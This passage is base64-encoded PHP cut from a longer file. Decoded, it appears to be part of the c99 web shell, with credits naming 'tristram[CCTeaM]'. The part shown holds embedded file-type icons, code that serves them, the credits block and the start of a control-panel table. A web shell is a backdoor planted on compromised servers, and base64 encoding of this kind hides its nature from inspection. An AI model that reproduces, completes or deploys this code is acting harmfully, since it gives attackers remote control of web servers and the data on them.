UVEUmZ3d2Z4dG9wNHA1M1B3TEtPanZ2ViIuCiJJWHRkZ3dnZFBHZFlmbmcxSVZlSmFUSUFrcE9VbFpZZkh4RUFPdz09IiwKIndyaXRlIj0+CiJSMGxHT0RsaEZBQVVBTE1BQUFBQUFQLy8vOTNkM2N6TXpMS3lzb2FHaG1abVpsOWZYd1FFQlAvLy93QUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQ0g1QkFFQUFBa0FMQUFBQUFBVUFCUUFBQVIwTU1sSnF5ekZhbHFFUUp1R0VRU0NuV2c2Rm9ncGtIQU1GNEhBSnNXaDcvemUiLgoiRVFZUUxVQXNHZ00wV3d0M2JDSmZRU0Z4MTB5eUJsSm44UmZFTWdNOVgrM3FIV3E1aUVENXlDc01DbDExMWtuRHB1WGZZbHMrSUs2MSIuCiJMWGQrV1dFSExVZC9Ub0pGWlFPT2o1Q1JqaUNCbFphWElCRUFPdz09IiwKImV4dF9hc3AiPT4KIlIwbEdPRGRoRUFBUUFMTUFBQUFBQUlBQUFBQ0FBSUNBQUFBQWdJQUFnQUNBZ01EQXdJQ0FnUDhBQUFEL0FQLy9BQUFBLy84QS93RC8iLgoiLy8vLy95d0FBQUFBRUFBUUFBQUVTdkRJU2FzRjJONkRNTkFTOEJ4ZmwxVWlPWlllOWFVd2dwRFRxNnFQL0lYME96N0FYVS8xZVJnSSIuCiJENkhQaHpqU2VMWWRZYWJzRENXTVp3aGczV1d0S0s0UXJNSG9oQ0FTK2hBQkFEcz0iLAoiZXh0X21wMyI9PgoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFZQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3SUNBQVAvL0FBQUFBQUFBQUFOVSIuCiJhR3JTN2l1S1FHc1lJcXBwNlFpWlJEUVdZQUlMUVFTQTJnMm80UW9BU0hHd3ZCYkFOM0dYMXFYQStyMWFCUUhSWkhNRURTWUN6M2ZjIi4KIklHdEdUOHdBVXdsdHp3V05XUlYzTERueFlNMXViNkduZUR3QkFEcz0iLAoiZXh0X2F2aSI9PgoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFVQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3UDhBQUFBQUFBQUFBQUFBQUFOTSIuCiJXRnJTN2l1S1FHc1lJcXBwNlFpWjFGRkFDWWlqQjRSTXFqYlkwMUR3V2c0NGdBc3JQNVFGazI0SHVPaE9ESndTVS9JaEJZVGNqeGU0Ii4KIlBZWEN5ZytWMmk0NFhlUm1TZllxc0doQUFnQTciLAoiZXh0X2NnaSI9PgoiUjBsR09EbGhFQUFRQUdZQUFDSDVCQUVBQUV3QUxBQUFBQUFRQUJBQWhnQUFBSnRxQ0hkM2Q3aU5HYStITXU3ZXI5R2lDNitJT091OSIuCiJEa0pBUHF5RlFxbC9OL0RsaHN5eWZlNjdBZi9TRlAvOGtmLzlsRDlFVHYvUEN2L2NRLy9lTnYvWElmL1pLUC9SRHYvYkxmL2NNYWg2Ii4KIkxQUFlSdnpnUit2Z3g3eVZNdi9sVXYvbVR2L2ZPZi9NQXYvbWNmL05BLy9xaWYvTUFQL1RGZi94cDd1WlZmL1dJUC9PQnF0L0h2L1MiLgoiRXYvaFArN09PUC9XSHYvd2JITmZQNFZ6Vjd1UEZ2L3BWLy9yWGYveWNmL3pkdi8wZVVOSldFTktXc3lrSWs5UldNeXRQLy80aUVwUSIuCiJYdi85cWZicHRQL3VaOTNHaU5xNlhXcFJKLy9pUXY3d3NxdUVRdi9qUkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZWVnRXlDZzB3QmhJZUhBWXFJakFFd2hveUVBUVFYQkpDUmhRTXVBNWVTaW9vR0l3YWZpNFVNIi4KIkJhZ05GQk1jRFI0RlF3d0JBZ0VHU0JCRUZTd3hOaEF5R2c2V0Frd0NCQWd2RmlVaU9CRWdOVWM3dzRJQ05EOFBLQ0ZBT2kwSlBOS0QiLgoiQWtVbkdUa1JOd01TMzRNQkpCZ2RSa0pMQ0Q3cWdnRVBLeHNKS2lZVEJ3ZUpramhRa2s3QWh4UTlGcWdMTUdCR2tHOEtGQ2c4SktBaSIuCiJSWXRNQWdFQU93PT0iLAoiZXh0X2NtZCI9PgoiUjBsR09EbGhFQUFRQUNJQUFDSDVCQUVBQUFjQUxBQUFBQUFRQUJBQWdnQUFBUC8vLzRDQWdNREF3QUFBZ0lDQUFQLy9BQUFBQUFOSSIuCiJlTHJjSnpES0NZZTkrQW9nQnZsZytHMmRTQVFBaXBJRDVYSkRJTSswek5KRmtkTDNEQmc2SG14V01FQUFoVmxQQmhnWWRyWWhEUUNOIi4KImRtcllBTW4xb25xL1lLcGp2RWdBQURzPSIsCiJleHRfY3BwIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5DIi4KIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VJa1ZZV3FUNEZJQ29KNXY3YzZzM2NxckFyd2luRS8zNDlGaU5vRnc0NHJ0bHFoT0w0UmEiLgoiRXE3WXJMREU3YTRTQURzPSIsCiJleHRfaW5pIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQLy8vOERBd0lDQWdJQ0FBUC8vQUFBQUFBQUFBQU5MIi4KImFBckIzaW9hTmtLOU1OYkhzNmxCS0lvQ29JMW9VSjRONERDcXFZQnB1TTZocThQM2h3b0VnVTNtYXdFTEJFYVBGaUFVQU1nWXkzVk0iLgoiU25FamdQVmFySEVIZ3JCNDNKdnN6c1FFQURzPSIsCiJleHRfZGl6Ij0+CiJSMGxHT0RsaEVBQVFBSGNBQUNINUJBRUFBSlVBTEFBQUFBQVFBQkFBaHdBQUFQLy8vMTVwaGNmYjZOTHMvN1BjLytQMC8zSitsOWJzIi4KIi81Mm51cWpLNS9uLy8vai8vLzcvLy9yLy8wdHJsc1BuLzhubi84blo1dHJtNzludS84L3EvOVh0Lzl6dy85M3cvK2oxLzlIci8rRHYiLgoiL2Q3di83M0gwTWpVMzl6dS85YnIvOG5lOHRYbitLNi96OFhqL0xqVjdkRHAvNks0eThibC81TzQyT3oyLzdIVzlKdTkydS85LzhUMyIuCiIvK0wvLys3Ky8rdjYvKy82LzlINC8rWDYvK1hsNVB6Ly8rL3Q3ZlgwOHZELy8rMy8vL1AvLy9ILy8vUDcvOG5xLzhmcC84VGw5OHpyIi4KIi8rL3o5dlQ0KytuMS9iL2svZG55LzlIdi8rdjQvOS8wLzlmdy84L3UvOHZ0LysvMDl4VXZYaFF0VzRLVHMyVjFrdzRvVlRkWXBEWlgiLgoicFZ4cWhseHFpRXhraW1LQnRNUEwyRnR2ajJPVjZhT3V3cHFsdWx5TjNjbk8xd0FBWFFBQVpTTThqRTVYamdBQWJ3QUFlVVJCWWdBQSIuCiJkQUFBZHpaRWFFOXd3RFpZcG1WdmlSNDlqRzEya0NoRm1nWXVqNisxeGVMbjdOemo2cG0yMG9lcXlwUzIxMlNKcmFDeXhaV3l6N1BXIi4KIjljL28vODduLzhEWDdNSFk3cS9LNUxmWDlhckIxc3JsLzIrZnpxMjkwVTE0cTdmQ3o2ZTJ5WHVtMzBGamxDbEhjNGVYcjZiSStiVEsiLgoiNHJmVytOWGU2T2J5LzVTdnpXU0hyK2JyOFd1S3JRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFqZ0FDc0pyRFJIU0lDRFE3SU1YRGdKeDhFdlp1SWNiUEJvb1p3YkJ3T01BZk1tWXdCQ0Eyc0VjTkJqSkNNWUFUTElPTGlva29jbSIuCiJDMVFza0FDbEN4Y0dCajdFc05Ib1FBY2lTQ0MxbU5BbWpKZ0dHRUJRb0JIaWdLRU5CamhjQ0JBSXpSb0dGa3dRTU5LbnlnZ1JTUkFnIi4KIjJCSHBEQlVlZXdSVjBQREhDcDRCU2dqdzBaR0h6SlFjRVZENElFSEp6WWtCZm80c2VZR2xEQndnVENBQVl2RkU0S0VCSllJNFVyUEYiLgoiQ3lJSUsrd29Zak13UVFJNkNvcjhtS0VueFIwbkFoWUtqSEpGUVlFQ2txU2tTYTE2NElNNkxoTFJycjN3d2FCQ3Uza1BGS0NsZGtBQSIuCiJPdz09IiwKImV4dF9kb2MiPT4KIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBVUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy84REF3QUFBLzRDQWdBQUFBQUFBQUFBQUFBTlIiLgoiV0VyY3JyQ1FRQ3NsUUEyd093ZFhrSUZXTlZCQStubWU0QVpDdW9sblJ3a3dGOVFnRU9QQUZHMjFBK1o0c1FITzk0cjFlSlJUSlZtcSIuCiJNSU9yclBTV1daUmN6YTZrYW9sQkNPQjBXb3hSdWQwSkFEcz0iLAoiZXh0X2V4ZSI9PgoiUjBsR09EbGhFd0FPQUtJQUFBQUFBUC8vL3dBQXZjYkd4b1NFaFAvLy93QUFBQUFBQUNINUJBRUFBQVVBTEFBQUFBQVRBQTRBQUFNNyIuCiJXTFRjVGlXU1FhdXRCRVExaFArZ2wyMVRLQVFBaW83UzhMeGFHOHgwUGJPY3JRZjR0TnU5d2E4V0hOS0tSbDRzbCt5OVlCdUFkRXF0Ii4KInhoSUFPdz09IiwKImV4dF9oIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5CIi4KIldMUGM5WENBU1NjWjhNbEtDY0FSUndWa0VBS0NJQkttTnFWcnE3d3BiTW1iYmJPbnJnSThGK3EzdzlHT1FPTVFHWnlKT3Nwbk1rS28iLgoiV3EvTmtuYmJTZ0FBT3c9PSIsCiJleHRfaHBwIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVVBTEFBQUFBQVFBQkFBZ3YvLy93QUFBQUFBZ0lDQWdNREF3QUFBQUFBQUFBQUFBQU5GIi4KIldMUGM5WENBU1NjWjhNbEtpY29iQndSa0VBR0NJQUtFcWFGcXBiWm5tazQyL2Q0M3lyb0ttTEFEbFBCaXM2THdLTkFGajdqZmFXVlIiLgoiVXFVYWduYkxkWmErWUZjQ0FEcz0iLAoiZXh0X2h0YWNjZXNzIj0+CiJSMGxHT0RsaEVBQVFBQ0lBQUNINUJBRUFBQVlBTEFBQUFBQVFBQkFBZ2dBQUFQOEFBUDhBL3dBQWdJQUFnUC8vQUFBQUFBQUFBQU02Ii4KIldFWFcvazZSQUdzam1Gb1lnTkJiRXdqREIyNWRHWnpWQ0tnc1I4TGhTbnByUFE0MDZwYWZta0R3VXVtSXZKQm9SQUFBbEV1REV3cEoiLgoiQUFBNyIsCiJleHRfaHRtbCI9PgoiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzJ0cm5NM1AvRkJWaHJQTzlsNkl0b3l0MHloZ2srWHkvV0dwNHNYbC9pNlo0bWZkL0hOeiIuCiJjLy8vL3lINUJBRUFBQThBTEFBQUFBQVRBQkFBQUFTVDhNbDNxcTFtNm5tQy80R2hiRm9YSkVPMUNBTkRTb2NpR2tiQUNIaTIwVTNQIi4KIktJRkdJakFRT0RTaUJXTzVOQXhSUm1UZ2dEZ2ttTTdFNmlpcEhaWUtCVk5RU0JTaWt1a1N3VzRqeW1jdXBZRmdJQnFML01LOEtCRGsiLgoiQmt4MkJYV0RmWDhURERhRkRBMEtCQWQ5Zm5JS0hYWUlCSmdIQlFPSGNnK1ZDaWtWQTV3THBZZ2JCS3VyRHF5c254TU9zN1Mxc3hJUiIuCiJBRHM9IiwKImV4dF9qcGciPT4KIlIwbEdPRGxoRUFBUUFETUFBQ0g1QkFFQUFBa0FMQUFBQUFBUUFCQUFnd0FBQVAvLy84REF3SUNBZ0lDQUFQOEFBQUQvQUlBQUFBQ0EiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUmNjTWhKazcwajZLM0Z1RmJHYlVMd0pjVWhqZ0hnQWtVcUVnSk5FRUFneEVjaSIuCiJDaThBTHNBTGFYQ0dKSzVvMUFHU0JzSUFjQUJnamdDRXdBTUVYcDBCQk1MbC9BNng1V1p0UGZRMmc2KzBqOFZ4KzdiNC9OWnFnZnRkIi4KIkZ4RUFPdz09IiwKImV4dF9qcyI9PgoiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFDQWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIuCiJrMEFRc0cyMDBBUVVKQmdBb01paGo1ZG1JeG5NSnh0cXExZGRFMEVXT2hzRzE2bTlNb29BaVNXRW1UaXVDNFR3MkJCMEw4RmdJQWhzIi4KImEwMEFqWVlCYmMvbzlIak5uaVVBQURzPSIsCiJleHRfbG5rIj0+CiJSMGxHT0RsaEVBQVFBR1lBQUNINUJBRUFBRkFBTEFBQUFBQVFBQkFBaGdBQUFBQmlBR1BMTW1YTU0weS9KbGZGTEZTNksxckdMV2pPIi4KIk5TbXVGVFd6R2tDNUlHM1RPby8xWEU3QUp4Mm9ENVg3WW9UcVVZcndWMy9sVEhUYVFYbmZSbURHTVlYclVqS1FId0FNQUdmTlJIemkiLgoiVXd3NUNBQXFBRE9aR2thc0xYTFlRZ2hJQkJOM0RWRzJOV25QUm5EV1J3Qk9BQjV3RlFCQkFBQStBRkczTkFrNUJTR0hFVXF3TUFCayIuCiJBQUFnQUFBd0FBQmZBRGUwR3hlTEN4WmNERUs2SVV1eEtGakZMRTNBSjJISE1SS2lDUVdDQWdCbUFCcHREZytIQ0JaZURBcUZCV0RHIi4KIk15bVVGUXBXQmoyZkpoZHZEUWhPQkM2WEYzZmRSME82SVIyT0R3QVpBSFBaUUNTUkVnQVNBRGFYSHdBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlWmdGQlFQQUdGaG9jQWdvSTdPZzhKQ2dzRUJRSVdQUUNKZ2tDT2tKS1VQNWVZVUQ2UGtaTTUiLgoiTktDS1VETXlOVGczQWdnMlM1ZXFVRXBKRGdjRENBeE1UMDZoZ2syNnZBd1VGVWhEdFlwQ3V3WkJ5Qk1SUk15Q1J3TUdSa1VnMHhJZiIuCiIxbEFlQmlFQUdSZ1hFZzB0NFN3cm9DWWxEUkFuNFNtcEtDb1FKQy9ocVZBdU5Hemc4RTlSS0JFallCUzBKU2hHaDRVTW9ZQVNCaVVRIi4KIkFEcz0iLAoiZXh0X2xvZyI9PgoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJBQWcvLy8vd0FBQU1EQXdJQ0FnSUNBQUFBQWdBQUEvLy8vQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUVLRXdLNlV5QnpDNDc1Z0VBbHRKa2xMUkFXemJDbFJocks0THk1eWc3L3dOIi4KInpMVWFMR0JRQlYyRWdGTFY0eEVPU1NXdDlnUVFCcFJwcXhvVk5hUEtrRmI1RWgvTG1VR3pGNXFFMytFTUlnSUFPdz09IiwKImV4dF9waHAiPT4KIlIwbEdPRGxoRUFBUUFBQUFBQ0g1QkFFQUFBRUFMQUFBQUFBUUFCQUFnQUFBQUFBQUFBSW1EQTZoeTVyVzBIR29zZmZzZFRwcXZGbGciLgoidDBoa3laM1E2cWxvWjdKaW1vbVZFYit1WEFBQU93PT0iLAoiZXh0X3BsIj0+CiJSMGxHT0RsaEZBQVVBS0wvQVAvNC84REF3SDkvQVAvNEFMKy92d0FBQUFBQUFBQUFBQ0g1QkFFQUFBRUFMQUFBQUFBVUFCUUFRQU1vIi4KIkdMcmMzZ09BTVlSNE9PdWRyZWVnUmxCV1NKMWxxSzVzNjRMaldGM2NRTWpwSnBEZjYvL0FCQUE3IiwKImV4dF9zd2YiPT4KIlIwbEdPRGxoRkFBVUFNUVJBUCtjblA5U1VzNEFBUCtjQVAvT0FJUUFBUDlqQU01am5NNmNZODZjbktYTzk4YmV4cHdBQVA4eEFQL08iLgoibkFBQUFQLy8vLy8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0g1QkFFQSIuCiJBQkVBTEFBQUFBQVVBQlFBQUFWN1lDU09aR21lNlBtc2JNdXFVQ3pQMEFQTHpoQWJ1UG5RQXdlRTUyZzBmREtDTUdnb09tNFFCNEdBIi4KIkdCZ2FUMmdNUVlnVmpVZlNUM1lvRkdLQlJnQnFQamdZREVGeFhScERHRUlBNHhBUVFOUjFOSG9NRUFBQ0FCRmhJejhyQ25jTUFHZ0MiLgoiTnlzTGtET1RTQ3NKTkRKYW5UVXFMcU0yS2FhbnFCRWhBRHM9IiwKImV4dF90YXIiPT4KIlIwbEdPRGxoRUFBUUFHWUFBQ0g1QkFFQUFFc0FMQUFBQUFBUUFCQUFoZ0FBQUJsT0FGZ2RBRkFBQUlZQ1V3QThad0E4WjlEWTRKSUMiLgoiV3YvLy93Q0lXQkUyQUFBeVVKaWNxSVNIbDRDQUFQRDQvK0RnOFBYNi81T1hwTDdIMCsvMi9hR21zVEl5TXRUYzVQLy9zZkw1LzhYRiIuCiJIZ0JZcHdCVWxnQlduMUJRQUc4YUlBQlFoUmJmbXdEY2t2K0gxMW5vdUVMbHJpemlwZitWM25QQS80MENVem1tL3dBNFhoVkRBQUdEIi4KIlV5V2QvMGl0LzF1MS8zTnpBUDk1MFA5OTBtTzUvN3YxNFl6dnpYTHJ3b1hJLzV2Uy83RGsvd0JYb3Y5c3l2Ump3T2hhdFFDSFYxN3AiLgoidW8wR1VRQlduUCsrOExtNUFQK2o1UUJVbEFDS1dnQTRiakpRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4KIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiLgoiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWVlZ0FLQ2c0U0ZTeFlORXc0Z01nU09qNDhERkFjSEVVSVpSRVlvSkRRelBUNC9Bd2NRQ1FrZyIuCiJHd2lwcXFrcUF4SWFGUmdYRHdPMXRyY0F1YnE3dkllSkRpd2hCY1BFeEF5VGxTRVpPem81S1RVeE1Dc3ZES09sU1JzY0hEd2VIa01kIi4KIkhVY01yN0d6QnVmbzZBeTg3THUraWkwZkFmUDA5QXZJRVI4Wk5qYzRRU1VtVG9nWXNjQmFBaVZGa0NoWXlCQ0lpd1hrWkQyb1IzRkIiLgoidTR0TEFnRUFPdz09IiwKImV4dF90eHQiPT4KIlIwbEdPRGxoRXdBUUFLSUFBQUFBQVAvLy84Ykd4b1NFaFAvLy93QUFBQUFBQUFBQUFDSDVCQUVBQUFRQUxBQUFBQUFUQUJBQUFBTkoiLgoiU0FyRTNsREpGa2E5MXJLcEEvRGdKM0pCYVo2bHNDa1c2cXFrQjRqekY4QlM2NTQ0VzlaQVc0K2cyNlZXeEY5d2Rvd1ptem5sRXVwNyIuCiJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLAoiZXh0X3dyaSI9PgoiUjBsR09EbGhFQUFRQURNQUFDSDVCQUVBQUFnQUxBQUFBQUFRQUJBQWcvLy8vd0FBQUlDQWdNREF3SUNBQUFBQWdBQUEvLy8vQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUlVNaEprYjBDNksySHVFaVJjZHNBZktFeGtrRGdCb1Z4c3R3QUF5cGR1b2FvIi4KImE0U1hUMGM0QkYwclVoRkFFQVFRSTlkbWViUkVXOHlYQzZOeDJRSTdMcllidHBKWk5zeGd6VzZuTGRxNDloSUJBRHM9IiwKImV4dF94bWwiPT4KIlIwbEdPRGxoRUFBUUFFUUFBQ0g1QkFFQUFCQUFMQUFBQUFBUUFCQUFoUC8vL3dBQUFQSHg4WWFHaGpObW1hYks4QUFBbVFBQWdBQ0EiLgoiZ0RPWkFETm0vek9aL3pQLy84REF3RFBNL3dBQS93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuCiJBQUFBQUFBQUFBQUFBQUFBQUFWazRDQ09wQWlkMEFDc2JOc01xTnF1QWlBMEFKelNkbDhId01CT1VLZ2hFQXBiRVNCVUZRd0FCSUN4Ii4KIk9BQU14ZWJUaG1BNEVvY2F0Z25ZS2hhSmh4VXJJQk5yaDdqeXQvUFphKzBoWWMvbjAyVjRkelp1ZllWL1BJR0pib0tCUWtHUGtFRVEiLgoiSVFBNyIKICk7CiAvL0ZvciBzaW1wbGUgc2l6ZS0gYW5kIHNwZWVkLW9wdGltaXphdGlvbi4KICRpbWdlcXVhbHMgPSBhcnJheSgKICAiZXh0X3RhciI9PmFycmF5KCJleHRfdGFyIiwiZXh0X3IwMCIsImV4dF9hY2UiLCJleHRfYXJqIiwiZXh0X2J6IiwiZXh0X2J6MiIsImV4dF90YnoiLCJleHRfdGJ6MiIsImV4dF90Z3oiLCJleHRfdXUiLCJleHRfeHhlIiwiZXh0X3ppcCIsImV4dF9jYWIiLCJleHRfZ3oiLCJleHRfaXNvIiwiZXh0X2xoYSIsImV4dF9semgiLCJleHRfcGJrIiwiZXh0X3JhciIsImV4dF91dWYiKSwKICAiZXh0X3BocCI9PmFycmF5KCJleHRfcGhwIiwiZXh0X3BocDMiLCJleHRfcGhwNCIsImV4dF9waHA1IiwiZXh0X3BodG1sIiwiZXh0X3NodG1sIiwiZXh0X2h0bSIpLAogICJleHRfanBnIj0+YXJyYXkoImV4dF9qcGciLCJleHRfZ2lmIiwiZXh0X3BuZyIsImV4dF9qcGVnIiwiZXh0X2pmaWYiLCJleHRfanBlIiwiZXh0X2JtcCIsImV4dF9pY28iLCJleHRfdGlmIiwidGlmZiIpLAogICJleHRfaHRtbCI9PmFycmF5KCJleHRfaHRtbCIsImV4dF9odG0iKSwKICAiZXh0X2F2aSI9PmFycmF5KCJleHRfYXZpIiwiZXh0X21vdiIsImV4dF9tdmkiLCJleHRfbXBnIiwiZXh0X21wZWciLCJleHRfd212IiwiZXh0X3JtIiksCiAgImV4dF9sbmsiPT5hcnJheSgiZXh0X2xuayIsImV4dF91cmwiKSwKICAiZXh0X2luaSI9PmFycmF5KCJleHRfaW5pIiwiZXh0X2NzcyIsImV4dF9pbmYiKSwKICAiZXh0X2RvYyI9PmFycmF5KCJleHRfZG9jIiwiZXh0X2RvdCIpLAogICJleHRfanMiPT5hcnJheSgiZXh0X2pzIiwiZXh0X3ZicyIpLAogICJleHRfY21kIj0+YXJyYXkoImV4dF9jbWQiLCJleHRfYmF0IiwiZXh0X3BpZiIpLAogICJleHRfd3JpIj0+YXJyYXkoImV4dF93cmkiLCJleHRfcnRmIiksCiAgImV4dF9zd2YiPT5hcnJheSgiZXh0X3N3ZiIsImV4dF9mbGEiKSwKICAiZXh0X21wMyI9PmFycmF5KCJleHRfbXAzIiwiZXh0X2F1IiwiZXh0X21pZGkiLCJleHRfbWlkIiksCiAgImV4dF9odGFjY2VzcyI9PmFycmF5KCJleHRfaHRhY2Nlc3MiLCJleHRfaHRwYXNzd2QiLCJleHRfaHQiLCJleHRfaHRhIiwiZXh0X3NvIikKICk7CiBpZiAoISRnZXRhbGwpCiB7CiAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpOwogIGhlYWRlcigiQ2FjaGUtY29udHJvbDogcHVibGljIik7CiAgaGVhZGVyKCJFeHBpcmVzOiAiLmRhdGUoInIiLG1rdGltZSgwLDAsMCwxLDEsMjAzMCkpKTsKICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOwogIGhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5kYXRlKCJyIixmaWxlbXRpbWUoX19GSUxFX18pKSk7CiAgZm9yZWFjaCgkaW1nZXF1YWxzIGFzICRrPT4kdikge2lmIChpbl9hcnJheSgkaW1nLCR2KSkgeyRpbWcgPSAkazsgYnJlYWs7fX0KICBpZiAoZW1wdHkoJGltYWdlc1skaW1nXSkpIHskaW1nID0gInNtYWxsX3VuayI7fQogIGlmIChpbl9hcnJheSgkaW1nLCRleHRfdGFyKSkgeyRpbWcgPSAiZXh0X3RhciI7fQogIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsKIH0KIGVsc2UKIHsKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0KICBuYXRzb3J0KCRpbWFnZXMpOwogICRrID0gYXJyYXlfa2V5cygkaW1hZ2VzKTsKICBlY2hvICAiPGNlbnRlcj4iOwogIGZvcmVhY2ggKCRrIGFzICR1KSB7ZWNobyAkdS4iOjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9Ii4kdS4iXCIgYm9yZGVyPVwiMVwiPjxicj4iO30KICBlY2hvICI8L2NlbnRlcj4iOwogfQogZXhpdDsKfQppZiAoJGFjdCA9PSAiYWJvdXQiKSB7ZWNobyAiPGNlbnRlcj48Yj5DcmVkaXRzOjxicj5JZGVhLCBsZWFkaW5nIGFuZCBjb2RpbmcgYnkgdHJpc3RyYW1bQ0NUZWFNXS48YnI+QmV0YS10ZXN0aW5nIGFuZCBzb21lIHRpcHMgLSBOdWtMZW9OIFtBblRpU2hAUmUgdEVhTV0uPGJyPlRoYW5rcyBhbGwgd2hvIHJlcG9ydCBidWdzLjxicj5BbGwgYnVncyBzZW5kIHRvIHRyaXN0cmFtJ3MgSUNRICM2NTY1NTUgPGEgaHJlZj1cImh0dHA6Ly93d3AuaWNxLmNvbS9zY3JpcHRzL2NvbnRhY3QuZGxsP21zZ3RvPTY1NjU1NVwiPjxpbWcgc3JjPVwiaHR0cDovL3d3cC5pY3EuY29tL3NjcmlwdHMvb25saW5lLmRsbD9pY3E9NjU2NTU1JmltZz01XCIgYm9yZGVyPTAgYWxpZ249YWJzbWlkZGxlPjwvYT4uPC9iPiI7fQo/Pgo8L3RkPjwvdHI+PC90YWJsZT48YSBib29rbWFyaz0ibWluaXBhbmVsIj48YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iMTAwJSIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4KPHRyPjx0ZCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PHAgYWxpZ249I